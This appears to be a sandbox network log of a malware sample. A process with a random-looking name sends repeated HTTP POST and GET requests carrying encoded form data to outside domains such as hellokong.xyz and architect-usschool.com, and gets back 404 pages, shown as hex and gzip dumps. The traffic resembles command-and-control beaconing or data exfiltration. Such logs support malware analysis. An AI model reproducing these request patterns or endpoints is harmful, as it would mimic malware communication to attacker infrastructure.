Jul 3, 2024 17:57:49.363711119 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:49 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49747	203.161.49.220	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:51.282027960 CEST	1642	OUT	POST /oui5/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.hellokong.xyz Origin: http://www.hellokong.xyz Referer: http://www.hellokong.xyz/oui5/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 66 44 7a 73 4b 2f 58 4a 79 61 32 75 51 38 4a 4d 67 47 67 6d 6c 51 39 33 41 4e 6e 7a 39 75 75 58 6d 79 4b 35 31 34 46 61 6f 71 6b 51 6c 78 45 41 4d 38 35 31 75 65 67 4d 37 62 4d 34 2f 53 4b 33 65 55 4a 42 45 4f 39 47 2b 62 68 41 35 4d 4f 53 34 78 35 56 66 48 55 43 46 53 69 6e 4b 5a 53 57 54 36 42 36 4c 44 6a 6b 4c 7a 57 75 37 78 77 49 50 4f 7a 52 71 53 4e 38 69 72 5a 65 73 6f 50 50 55 78 42 66 6d 31 36 35 47 43 65 6a 55 32 45 55 65 4a 54 6f 38 68 2f 36 50 71 6e 44 30 51 64 45 65 79 6e 47 38 31 74 7a 66 4c 47 51 76 69 36 69 6f 49 6a 41 4a 61 69 6f 31 78 69 42 56 70 4b 30 78 63 32 41 65 43 64 47 34 6d 59 6e 53 6b 41 6e 6c 34 2f 45 75 59 68 43 6b 67 64 44 63 74 4b 37 4b 30 6c 2f 74 30 38 51 49 56 76 48 46 35 6e 46 6e 6a 6d 37 35 62 52 49 43 31 33 76 74 2f 68 72 65 44 48 65 4e 69 33 7a 61 2f 57 4e 4d 67 7a 41 54 65 4e 45 32 68 4f 79 68 76 4f 61 6f 5a 78 31 47 64 73 68 76 77 5a 61 63 4e 77 6c 44 77 41 64 74 47 4c 42 4f 51 79 74 57 73 69 2f 5a 66 39 41 62 6f 53 41 57 31 51 4d 4f [TRUNCATED] Data Ascii: OdjTHtuX=fDzsK/XJya2uQ8JMgGgmlQ93ANnz9uuXmyK514FaoqkQlxEAM851uegM7bM4/SK3eUJBEO9G+bhA5MOS4x5VfHUCFSinKZSWT6B6LDjkLzWu7xwIPOzRqSN8irZesoPPUxBfm165GCejU2EUeJTo8h/6PqnD0QdEeynG81tzfLGQvi6ioIjAJaio1xiBVpK0xc2AeCdG4mYnSkAnl4/EuYhCkgdDctK7K0l/t08QIVvHF5nFnjm75bRIC13vt/hreDHeNi3za/WNMgzATeNE2hOyhvOaoZx1GdshvwZacNwlDwAdtGLBOQytWsi/Zf9AboSAW1QMOdtSrEK9sxt5ASVvjDcmP5rzz5NFGPhS68EykFgp0r9FcunPriiWK3edsumnM+gPbyYUN9Eevr89zbLWg2DUAkwD933LDx/q4rd/GCdqRwYF5JHEwFe1sSDXf5HsfipXWkJSeg8Eu06wJ49XDn/8fLq1K8VtqJf/L95WbkSwQzqXJHlmkf97Ei7+qDwKJtN2StA/UZcYEbyp92gWtacppU7bJZcxd+LHhI48wUmtybtGk0lXefICnaZxpPANDNy7QQTIFjPwjBgvsQy2FAAuPzEguIaS2pY0dI0eh4uU+3gMfcaITP1c8hAcrlscDkIuddLPV4u0d+/NPtMBidIoNWikx9dSGljCpKwtYIN9Gf50BDo+8OmvLBNNToOM+jCEez9AAc+6zCZ0U5GutXpqVjku7fA/lPliNoc0dWf5trz3nIWbi/xEQ0p5KU5eEvCs7noncoB/D/i8z1rKwGjHj8nLaJJDAnmHxjvDiutxCVFoNd9kRsqs42b5KQjl8rw0+PNPVlXXwz6EaHmgIhAeE0j8igLemBHFogIRcmzyyYrQwJAeWCD29Xc82kYX2qVLkboXklZsuQrcI0hikQ1JsKLfFuKyJgrzFqr4OilEk6mgx6B7PjMuIDt4K/228Kqaopmmdre3nPk2lnCzfpsLXZ43hCBbZzPI/aU [TRUNCATED]
Jul 3, 2024 17:57:51.896353006 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:51 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49748	203.161.49.220	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:53.806934118 CEST	346	OUT	GET /oui5/?OdjTHtuX=SBbMJInblZiNUqJtj2t3oAZeaf7w1Mr63FaPzYR5npk3jTg+edZF9NME4tF9tViJCHx7c4tSq6N/qcOwzg98IChDG2ekcZOWcYJRK2znKimA3GQ/fbvAwxxdlKlVh8HBUwdv3Sg=&Y6vp=3PLd8j HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.hellokong.xyz User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:57:54.429059982 CEST	548	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:54 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49749	217.160.0.84	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:59.470967054 CEST	632	OUT	POST /s24g/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.architect-usschool.com Origin: http://www.architect-usschool.com Referer: http://www.architect-usschool.com/s24g/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 31 70 67 46 4d 32 42 67 32 6f 53 6a 4c 6a 34 52 46 62 30 72 32 4d 6e 79 48 51 69 64 58 69 32 5a 6a 76 56 44 79 6e 4e 50 65 2b 52 50 59 78 44 5a 36 34 62 35 59 42 36 51 73 77 52 78 70 72 44 57 79 38 6c 50 4f 57 7a 2b 56 62 52 5a 32 30 41 62 38 4a 52 2b 52 79 45 4e 49 33 67 68 6c 37 57 56 2f 41 65 4a 6a 50 59 73 32 7a 38 73 53 69 44 35 6d 37 59 4e 44 64 54 6d 34 39 45 55 51 41 78 4a 45 4b 46 50 53 69 6e 34 5a 6a 33 33 54 56 2f 7a 4e 68 67 57 5a 65 47 72 37 4c 76 76 63 4d 66 2b 56 46 34 57 66 7a 4d 35 65 55 4e 71 59 4f 63 32 6b 43 69 52 71 2f 67 43 2f 51 74 6e 4d 33 51 36 33 5a 36 68 71 62 4e 53 4b 4f 39 50 Data Ascii: OdjTHtuX=1pgFM2Bg2oSjLj4RFb0r2MnyHQidXi2ZjvVDynNPe+RPYxDZ64b5YB6QswRxprDWy8lPOWz+VbRZ20Ab8JR+RyENI3ghl7WV/AeJjPYs2z8sSiD5m7YNDdTm49EUQAxJEKFPSin4Zj33TV/zNhgWZeGr7LvvcMf+VF4WfzM5eUNqYOc2kCiRq/gC/QtnM3Q63Z6hqbNSKO9P
Jul 3, 2024 17:58:00.511090040 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:58:00 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://architect-usschool.com/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 35 34 30 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd 5b 97 db 46 b2 2e f8 2c ff 0a 98 5a 2d 57 6d 13 e0 9d ac 2a a9 d4 23 cb 72 6f cf b1 2c 1f 4b ee 9e 3d 96 17 17 48 82 55 90 48 82 0d 90 75 b1 5a 3f e6 3c 9e 87 f3 b0 d7 79 9b c7 f1 1f 9b 2f 22 32 13 09 30 41 b2 2e b2 bd d7 1a 5d aa 48 20 2f 91 91 91 71 cb c8 c8 27 9f 4f 92 f1 ea 7a 19 79 e7 ab f9 ec e9 67 4f e8 97 37 0b 17 67 a7 b5 68 e1 ff f4 ba 46 cf a2 70 f2 f4 b3 07 4f e6 d1 2a f4 c6 e7 61 9a 45 ab d3 da 4f 6f be f1 8f f0 fa 81 7a b1 08 e7 d1 69 ed 22 8e 2e 97 49 ba aa 79 e3 64 b1 8a 16 28 78 19 4f 56 e7 a7 93 e8 22 1e 47 3e 7f a9 7b f1 22 5e c5 e1 cc cf c6 e1 2c 3a 6d 51 33 4f 66 f1 e2 bd 97 46 b3 d3 da 32 4d a6 f1 2c aa 79 e7 69 34 3d ad 9d af 56 cb 93 46 e3 6c be 3c 0b 92 f4 ac 71 35 5d 34 5a 52 67 15 af 66 d1 d3 1f c2 b3 c8 5b 24 2b 6f 9a ac 17 13 ef d1 c3 a3 76 ab f5 d8 7b 96 8e cf e3 55 34 5e 61 1c 4f 1a 52 f4 33 19 05 03 fb 45 9a 8c 92 55 f6 85 01 f5 8b 45 12 2f 26 d1 55 1d 8d 4d 93 d9 2c b9 fc c2 6b 00 01 06 b2 2f 26 8b cc 5f 02 a8 68 [TRUNCATED] Data Ascii: 5402[F.,Z-Wm#ro,K=HUHuZ?<y/"20A.]H /q'OzygO7ghFpOaEOozi".Iyd(xOV"G>{"^,:mQ3OfF2M,yi4=VFl<q5]4ZRgf[$+ov{U4^aOR3EUE/&UM,k/&_h5>BX(.yd_:YQVQW@Mi-\.g8\fW^NkPGiu&&%%,'nLQQ+x bxRXXEW"yO><g2^.y.~V,NQE?UvDVotm4zonoQdgk5~!5qT;Pl3^=oK?^gW";](=W1<<Zq~UE(EBbLdw.KY=z{wzILMV\|yr.apYehI1AR?_>V)/^?%sG}hXHj#A{v(>;_=F={=Xx1n
Jul 3, 2024 17:58:00.511113882 CEST	224	IN	Data Raw: 75 4a 50 fe 14 2f 56 9d f6 b3 34 0d af 0f a2 e0 0c 30 11 79 00 f6 70 9f a6 83 09 0a 1e d6 d3 53 d4 bd 35 4c 0b 86 a9 7e 5f d0 1c 3e 4e a3 d5 3a 5d 78 ab 20 02 11 5c 1f 68 04 12 fa 0e 3f a8 97 d1 e9 e9 69 fa f3 ea 97 8f 87 39 82 d7 1a c1 d9 65 4c Data Ascii: uJP/V40ypS5L~_>N:]x \h?i9eLG1(6gUqBQgiz5ofsp O@Fbuy44u'B_hD@=*51vQbmg}VU[tTzJOi>\|S5
Jul 3, 2024 17:58:00.511131048 CEST	1236	IN	Data Raw: 52 82 39 9a b6 f0 53 cf 07 21 97 67 02 4f e4 2d 8d 57 bf 35 63 a9 aa 28 68 75 55 3c fc a8 7a 6f e5 14 33 d5 14 43 0b 2a 3d ad 41 2e 47 d3 78 01 81 f4 f9 29 89 b3 64 ea fd 23 49 df 47 e9 df 66 c9 28 9c bd 1e 27 cb e8 d1 a3 2c 9a 4d a1 1b 80 57 2c Data Ascii: R9S!gO-W5c(huU<zo3C*=A.Gx)d#IGf(',MW,"j:s^f5O\^""5Yzx~N:{=?\b4g'7?0r_!!_WV)i/`@ACCI!H?$?Gz&ExZ+pWA
Jul 3, 2024 17:58:00.511281967 CEST	1236	IN	Data Raw: 64 dc 4b 98 13 60 82 50 a0 4e 85 07 68 76 51 66 11 01 38 51 30 0f 97 22 87 14 7b cc d9 cd 78 16 c2 a1 33 f6 a1 f0 cc 23 61 27 3b 64 d1 1e 5e 28 f7 88 3e 8c 93 59 92 9e 3c 9c 4e a7 8f 73 16 0f de c6 4f 3b ed ce a0 33 7e 2c c2 ca 07 97 8b d7 d9 c9 Data Ascii: dK`PNhvQf8Q0"{x3#a';d^(>Y<NsO;3~,1,)bI2?vC-#>/=~?jN<{LF'E9_\|A=yD9zdr/X!OMYf\|.Ppg>ht4_e0-43&p7z:
Jul 3, 2024 17:58:00.511296988 CEST	1236	IN	Data Raw: 6d ce 21 87 65 de dc 35 41 a6 ff a6 96 00 b9 61 36 20 20 7e 90 43 40 df dc 65 ca ed 68 ee 63 3c a2 30 e4 d7 f3 45 56 60 24 86 1d 31 2f d8 a3 8a c5 9d dc 55 68 e3 cd c7 a8 e1 a3 5f 45 ee be 5a 10 5d 36 ef 33 10 56 d5 b5 3a d5 75 83 f3 30 13 07 81 Data Ascii: m!e5Aa6 ~C@ehc<0EV`$1/Uh_EZ]63V:u0x=3;gsjgs\E)hKdg{e;2R v>U\CR5G-p#-1{[hUD9SRvQR";OZ-?m9AM;*nDR$#
Jul 3, 2024 17:58:00.511313915 CEST	672	IN	Data Raw: b5 0c 17 9a db 6c c1 56 45 5b 5b d7 5b b1 8e 47 59 3c 58 81 41 64 f7 32 41 0e 94 6d 78 28 d4 65 48 f3 da cb d9 35 50 51 f8 ce ac 6f 27 42 0a 83 b5 68 cc a4 31 11 d6 ad f4 2a c5 b3 ed 6d 62 f0 20 66 df 2e b1 01 ea 2e 00 1d 8c ae 49 fd 42 94 ca 79 Data Ascii: lVE[[[GY<XAd2Amx(eH5PQo'Bh1*mb f..IBy>4JV M=\r#mwo- )!f)A!Quo#"EZspU!"xV]Y!4M^A@QVRM-,4z$U9y_Hf5g;@/:)
Jul 3, 2024 17:58:00.511662006 CEST	1236	IN	Data Raw: e4 ca a6 22 85 3b cc 11 73 cb fd 17 6b 3e 59 1c 11 ac 7d 54 1b a3 55 12 70 a7 0d 83 03 a9 29 ce ef ae c7 63 f8 4c 78 95 c8 13 5a 83 44 a7 37 30 6b a5 22 0e af 2d e0 cf e1 a6 04 aa bd 75 97 2d 13 b3 a9 53 10 70 a2 1e cb 92 11 2b 8b 43 3a 6e b0 4c Data Ascii: ";sk>Y}TUp)cLxZD70k"-u-Sp+C:nL-wO8a8>j8R:$`8W2KZHB]{C92['7dy@Hk}_cSaSUeBH2-i:0HtHZ`_F;;
Jul 3, 2024 17:58:00.511676073 CEST	1236	IN	Data Raw: b5 93 fb 18 be 05 5c d9 97 2c 4e 10 80 8c 03 28 ab e8 7e 48 8a 99 85 9a c9 7b 12 04 bb 67 ee f7 a1 4f 35 55 bf 6b 67 f7 25 4c 77 e3 f0 ee 3d 21 88 c6 27 03 ac a0 d5 ea 87 86 1b 87 bb 45 87 ad 15 4f 28 9a 03 37 1b e2 38 57 a1 dd db 5b 12 7f 4c ff Data Ascii: \,N(~H{gO5Ukg%Lw=!'EO(78W[Ln-W$H#EcRvC>C}R23lAiuQ`r?!ULj#5LZ)O&SxIb!^aB9eJIN~O%N)p56\3:
Jul 3, 2024 17:58:00.511691093 CEST	1236	IN	Data Raw: 75 57 2a 5d ab 9e e0 2e 21 6e b3 23 e5 fd c1 6d 25 f6 80 c2 13 95 03 64 e3 39 5b fa 7b 41 d7 1d f4 8f 47 1d 57 9f 5e 4c 0d 68 54 f0 fd 14 27 de 91 82 0f 33 f9 1c c9 4a e3 c4 a3 1c 3e 58 3c 88 da c0 7a c1 6c c8 8e 38 4f 69 30 46 e2 1c 4e 3d 42 27 Data Ascii: uW].!n#m%d9[{AGW^LhT'3J>X<zl8Oi0FN=B')q}o3:EU`];:VDmqokg?>W/_fxu$^FD&1!rL}~.9F:\.8Mh\q_XCU
Jul 3, 2024 17:58:00.512063026 CEST	104	IN	Data Raw: 6e a3 2b 98 a9 4b e2 4e d6 4b 9a 78 d4 d2 2f 09 19 9b 56 30 e8 e7 d9 3b f8 ef 88 93 d0 e5 c1 2c b7 2c 56 92 83 06 67 1e 43 c6 82 d7 ea 46 c1 e0 ad 26 76 e7 1a 32 d2 d6 71 c4 17 fb 0e 38 63 61 72 7b 02 14 23 99 c8 73 63 af 6a 45 04 02 14 c9 65 46 Data Ascii: n+KNKx/V0;,,VgCF&v2q8car{#scjEeF@"Ti74CYhS
Jul 3, 2024 17:58:00.515985966 CEST	1236	IN	Data Raw: 7a f0 40 6e f7 a1 91 e2 9e 65 f6 d8 e3 66 74 b6 ea 36 41 d0 13 84 ae c9 56 00 2d c2 f7 0f ab 1e f2 3d 45 46 73 06 cb 8d 1e cd 15 02 78 23 e8 3e 0f 54 90 fc 1d 4e fc 97 54 a0 7c de 4b 83 2d f2 a8 8d 65 c6 69 52 78 41 6f f0 8e 82 2f b3 a3 7c 99 36 Data Ascii: z@neft6AV-=EFsx#>TNT\|K-eiRxAo/\|6l;Ztg&\tG(-6Y{+K6>;RA;zn/fV8r=RRZ;/v 1!['3H9'{ZX"'`v,!'O`~&y/K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49750	217.160.0.84	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:02.010878086 CEST	656	OUT	POST /s24g/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.architect-usschool.com Origin: http://www.architect-usschool.com Referer: http://www.architect-usschool.com/s24g/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 31 70 67 46 4d 32 42 67 32 6f 53 6a 4b 44 49 52 48 36 30 72 33 73 6e 39 49 77 69 64 42 53 32 64 6a 76 5a 44 79 6c 67 55 65 4d 46 50 5a 54 4c 5a 35 35 62 35 56 68 36 51 6b 51 52 30 32 62 43 55 79 38 70 74 4f 54 4c 2b 56 66 78 5a 32 77 45 62 38 65 46 2f 51 69 45 50 43 6e 67 6a 36 72 57 56 2f 41 65 4a 6a 50 4d 4b 32 7a 45 73 53 52 62 35 6d 66 45 4f 41 64 54 70 76 4e 45 55 55 41 77 43 45 4b 46 70 53 6d 75 54 5a 6d 7a 33 54 55 50 7a 63 51 67 56 44 4f 48 69 6b 62 75 75 4d 65 6a 30 58 31 74 6f 65 41 6b 4a 4b 47 64 39 55 59 64 73 34 78 69 79 34 76 41 41 2f 53 31 56 4d 58 51 51 31 5a 43 68 34 4d 42 31 46 36 59 73 34 74 68 55 41 76 74 59 75 78 6d 41 69 35 34 39 71 6b 48 6a 34 77 3d 3d Data Ascii: OdjTHtuX=1pgFM2Bg2oSjKDIRH60r3sn9IwidBS2djvZDylgUeMFPZTLZ55b5Vh6QkQR02bCUy8ptOTL+VfxZ2wEb8eF/QiEPCngj6rWV/AeJjPMK2zEsSRb5mfEOAdTpvNEUUAwCEKFpSmuTZmz3TUPzcQgVDOHikbuuMej0X1toeAkJKGd9UYds4xiy4vAA/S1VMXQQ1ZCh4MB1F6Ys4thUAvtYuxmAi549qkHj4w==
Jul 3, 2024 17:58:03.042216063 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:58:02 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://architect-usschool.com/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 35 34 30 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd 5b 97 db 46 b2 2e f8 2c ff 0a 98 5a 2d 57 6d 13 e0 9d ac 2a a9 d4 23 cb 72 6f cf b1 2c 1f 4b ee 9e 3d 96 17 17 48 82 55 90 48 82 0d 90 75 b1 5a 3f e6 3c 9e 87 f3 b0 d7 79 9b c7 f1 1f 9b 2f 22 32 13 09 30 41 b2 2e b2 bd d7 1a 5d aa 48 20 2f 91 91 91 71 cb c8 c8 27 9f 4f 92 f1 ea 7a 19 79 e7 ab f9 ec e9 67 4f e8 97 37 0b 17 67 a7 b5 68 e1 ff f4 ba 46 cf a2 70 f2 f4 b3 07 4f e6 d1 2a f4 c6 e7 61 9a 45 ab d3 da 4f 6f be f1 8f f0 fa 81 7a b1 08 e7 d1 69 ed 22 8e 2e 97 49 ba aa 79 e3 64 b1 8a 16 28 78 19 4f 56 e7 a7 93 e8 22 1e 47 3e 7f a9 7b f1 22 5e c5 e1 cc cf c6 e1 2c 3a 6d 51 33 4f 66 f1 e2 bd 97 46 b3 d3 da 32 4d a6 f1 2c aa 79 e7 69 34 3d ad 9d af 56 cb 93 46 e3 6c be 3c 0b 92 f4 ac 71 35 5d 34 5a 52 67 15 af 66 d1 d3 1f c2 b3 c8 5b 24 2b 6f 9a ac 17 13 ef d1 c3 a3 76 ab f5 d8 7b 96 8e cf e3 55 34 5e 61 1c 4f 1a 52 f4 33 19 05 03 fb 45 9a 8c 92 55 f6 85 01 f5 8b 45 12 2f 26 d1 55 1d 8d 4d 93 d9 2c b9 fc c2 6b 00 01 06 b2 2f 26 8b cc 5f 02 a8 68 [TRUNCATED] Data Ascii: 5402[F.,Z-Wm#ro,K=HUHuZ?<y/"20A.]H /q'OzygO7ghFpOaEOozi".Iyd(xOV"G>{"^,:mQ3OfF2M,yi4=VFl<q5]4ZRgf[$+ov{U4^aOR3EUE/&UM,k/&_h5>BX(.yd_:YQVQW@Mi-\.g8\fW^NkPGiu&&%%,'nLQQ+x bxRXXEW"yO><g2^.y.~V,NQE?UvDVotm4zonoQdgk5~!5qT;Pl3^=oK?^gW";](=W1<<Zq~UE(EBbLdw.KY=z{wzILMV\|yr.apYehI1AR?_>V)/^?%sG}hXHj#A{v(>;_=F={=Xx1n
Jul 3, 2024 17:58:03.042290926 CEST	1236	IN	Data Raw: 75 4a 50 fe 14 2f 56 9d f6 b3 34 0d af 0f a2 e0 0c 30 11 79 00 f6 70 9f a6 83 09 0a 1e d6 d3 53 d4 bd 35 4c 0b 86 a9 7e 5f d0 1c 3e 4e a3 d5 3a 5d 78 ab 20 02 11 5c 1f 68 04 12 fa 0e 3f a8 97 d1 e9 e9 69 fa f3 ea 97 8f 87 39 82 d7 1a c1 d9 65 4c Data Ascii: uJP/V40ypS5L~_>N:]x \h?i9eLG1(6gUqBQgiz5ofsp O@Fbuy44u'B_hD@=*51vQbmg}VU[tTzJOi>\|S5R9S!gO-W
Jul 3, 2024 17:58:03.042314053 CEST	1236	IN	Data Raw: c2 40 3f 12 a2 09 bf 05 37 80 a0 f7 3c 8a 56 5f 68 bc 8f 66 c9 f8 bd 3f 8b 47 69 98 5e 0b c6 d9 7b f1 85 f2 5e b8 cd 36 db 6a 6b 60 5a 1a c0 fa aa 51 68 4b ba 67 e3 0d 05 72 eb 6d 63 46 bd 79 34 89 c3 d3 2f b0 66 c4 01 91 d3 45 0a 96 97 c6 70 84 Data Ascii: @?7<V_hf?Gi^{^6jk`ZQhKgrmcFy4/fEp~)Fb>g)/Im"FM{yzJ!O<OQr\|14?~>&58@i55?7>?nba^~J9*7dCOdK`PNhvQf8
